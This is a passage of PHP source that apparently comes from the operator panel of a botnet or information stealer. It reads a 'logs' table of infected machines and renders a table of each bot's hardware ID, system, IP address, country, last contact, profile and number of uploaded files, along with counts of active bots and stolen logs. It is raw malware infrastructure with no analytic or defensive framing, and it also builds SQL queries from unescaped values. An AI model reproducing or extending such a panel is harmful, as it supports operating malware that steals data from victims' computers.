6) { header( 'Location: http://'. $config["panel_url"] .'/bots', true, 301 ); } $d = $p - 1; $database = mysqli_connect($config["db_server"], $config["db_user"], $config["db_password"], $config["db_name"]); if($database) { if($p) { $bots = $database->query('SELECT * FROM `logs` ORDER BY `id` DESC LIMIT '. $d .'00, '. $p .'00;'); } else { $bots = $database->query("SELECT * FROM `logs` ORDER BY `id` DESC LIMIT 100;"); } $all_logs = $database->query("SELECT * FROM `stats` WHERE `Name`='all_logs';")->fetch_array(); $all_files = $database->query("SELECT * FROM `stats` WHERE `Name`='all_files';")->fetch_array(); $all_errors = $database->query("SELECT * FROM `stats` WHERE `Name`='errors';")->fetch_array(); $_data = date("d/m/Y"); $_bots = $database->query("SELECT COUNT(1) FROM `logs`"); $_b = $_bots->fetch_assoc(); $_bots_a_sql = $database->query("SELECT * FROM `logs`"); $_bots_active = 0; while ($_bots_a = $_bots_a_sql->fetch_assoc()) { $_bot_last_online = $_bots_a["date"]; $_last_online_date = explode(' ', $_bot_last_online); if($_last_online_date[0] == $_data) { $_bots_active++; } } } else { $action = "db_not_connected"; $all_logs["Value"] = "Error"; $all_files["Value"] = "Error"; $all_errors["Value"] = "Error"; $_bots_active = "Error"; } function checkParam($param) { $formatted = $param; $formatted = trim($formatted); $formatted = stripslashes($formatted); $formatted = htmlspecialchars($formatted); return $formatted; } ?>
| ID | System | IP Address | Date | Profile | Files | Actions |
|---|---|---|---|---|---|---|
| echo $bot["id"]; ?> | echo $bot["hwid"]; ?> echo $bot["system"]; ?> | echo $bot["ip"]; ?> echo $bot["country"]; ?> | echo substr($bot["date"], 0, 10); ?> echo substr($bot["date"], 11); ?> | $profileID = $bot["profile"]; $profile = $database->query("SELECT * FROM `profiles` WHERE `id`='$profileID';")->fetch_array(); echo $profile["Name"];?> | Upload echo $bot["count"]; ?> files |